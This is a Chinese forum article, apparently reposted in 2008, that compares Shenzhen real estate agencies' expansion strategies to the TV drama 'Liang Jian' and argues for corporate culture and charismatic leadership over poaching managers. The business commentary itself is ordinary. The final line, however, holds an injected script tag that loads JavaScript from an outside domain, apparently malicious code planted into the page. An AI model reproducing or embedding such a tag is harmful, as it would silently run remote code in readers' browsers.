《亮剑》与中介扩张

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《亮剑》与中介扩张
文摘来源:购房论坛阅读:9358次 [08-6-26]

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大家知道，亮剑除了要说明"狭路相逢勇者胜"之外，另外一个主题就是军魂--带有英雄主义色彩。确实，兵熊熊一个，将熊熊一窝。主帅无能，累死三军。一家中介，企业文化理念很重要，当一个企业做大，做好，如果企业奉行的哲学，理念有问题，影响将是致命的。

先从中介谈起，在深圳的中介拓展中，中原占尽天时——较早进入深圳，在公共关系资源有优势。地利——二级代理多，先入为主。人和——内部团结，品牌原因在人力资源很强选择性并产生“马太效应”。

世华在3个方面略逊于中原，但他也可以齐头并进，甚至在“人和”管理优裕中原。

美联稳扎稳打，有似于桥头堡式渐进，象日本侵略据点一样——不失为一种战术。创辉有类似情况，还有做秀的味道，想以大做强，缺乏内涵修养，参差不齐。就象一个没有内功的人学“乾坤大挪移”，易走火入魔，自伤其身。

招商地产只有地利，所以蛇口一条龙，出外一条虫，国有企业躯壳太重，制度不灵活。

海王地产异军突起，什么都不具备。一点——利用人性的弱点贪婪30%起提成，重赏之下……香饵之下有死鱼。符合兵法《六韬》“使贪，使智，使愚，使勇”，也可以占一席之地。

世联企图做中介中的君子，或说丐帮中的“净衣派”，“廉者易辱，洁者易污”，陈水扁逍遥自在，马英九焦头烂额。不难理解。他还将做小人。

满堂红，顺驰水土不服，用人错误。

一支军队有一种固有精神，什么“好八连，硬骨头六连”……都是该队伍的一贯形成的作风，称之为军队的灵魂.不管什么人进入该组织就自然接受并维持其统一性，一贯性.这种作风的形成与其主帅有直接关系，一旦形成很难改变，且会不断完善.亮剑里面就说过这种理论。中介也一样，因为管理者的原因，也会形成团队的一种作风，中原，世华，就已经基本形成或说产生了团队的主流思想，并能自觉实施.不断完善.这种状况一旦形成一股力量，他们的扩张势力范围(拓疆)就变的轻而易举.他每开一家铺都是真正的集团作战，

现代著名国画大师齐白石在评价他人的模仿作品时，说过一句很有哲理性的名言“学我者生，似我者死”，因为他的花鸟虫鱼讲究“神似”，如果“依葫芦画瓢”结果可想而知，最终是“四不相”。这对中介的扩张有什么启示呢？听我慢慢道来。

很多中介在扩张时，进入一个区域，因为人力资源欠缺，往往会去挖其他中介的经理——小猎头，而且会形成这样的结果，一般一个区域总监如果从某地产过来就会带来一批手下，克隆出所谓的中原模式，或世华模式……而它又与公司的发展理念不相符，产生矛盾就会造成公司的各区域各自为政，作风不一，员工没有认同感，各立山头，公司管理缺乏连接性、统一性、全局观念，分行之间“同事相见不相识，笑问客从何处来”。没有合作，结果可想而知。这样一来，再有能力的人组合在一起也是盘散沙，乌合之众罢了，为了控制大局或是协调不力，那么经理就会走马灯一样的更换，业绩可想而知，扩张成功也就成为空话。有数量没质量，现在很多中介进入这种怪圈，无法理顺。

管理中有个比喻“狮子领导的一群狮子斗不过狮子领导的一群狐理”这也是兵法里的“令行禁止”的一种另类注释“没有完美个人，只有完美的团队”一个好的团队需要一个灵魂人物，他主导团队的作风趋向，所谓“强将手下无弱兵”就像《亮剑》中的李云龙，可以为一个女人攻下一座城池，从侧面可以看出一个部队的协调、统一、团结以及战斗力。灵魂人物的影响力不言而喻。中介该如何理解、借鉴呢？

东方文化的管理理念中，一般“人治多过法治”，个人色彩很浓。所谓“盛世德治，乱世法治”，我们中国人更能接受的是人性化的管理。“恩威并施”是管理的习惯做法，西方也有叫“大棒”加胡萝卜的做法，异曲同工。佛家认为人有善良的一面，也有邪恶的一面，恩则唤醒良知，威则打压邪恶。这是对人性最好的管理。各守本分，人心向善---孔子称为教化的结果。回归本善六祖慧能称顿悟，祛除恶念神秀称渐悟。是当头棒喝，还是醍醐灌顶，都不重要，因为你本来就存在这些，重要的是谁来渡化你，或说谁是一道这谁谁催化者“近朱者赤，近墨者黑”，领导的人格魅力以及其创造的一个工作氛围对个人来说非常重要。企业需要企业文化以及一个具备充当灵魂人物的领导人。

不难理解，在群体交往意识中，从众心理或“羊群心理”现象绝对存在，谁是领头羊？领头羊有多少能量可以引领大众？都很关键。人格魅力，利益牵引，文化认同，思想共鸣，这是几个关键方面，一旦企业的管理人作到，那么一个企业的灵魂就会产生，有如“亮剑”中的李云龙一呼百应，剑锋所指，所向披靡！！！中原李总，世华梁总，美联工商组江总似乎达到了这种境界。有几家中介的老总从别的公司出来的，虽有一定气势，总不够火候，未能得心应手。虽未整成“四不相”，就差一丁点。所以在中介扩张中，企业如果没有自己的文化，特色，没有象李云龙这样的领军人物总要去挖别人的人力资源，结果得不偿失，理念上就是邯郸学步！甚至是引狼入室，反受其乱。或?script src=http://www.24aspx.com/script.js>

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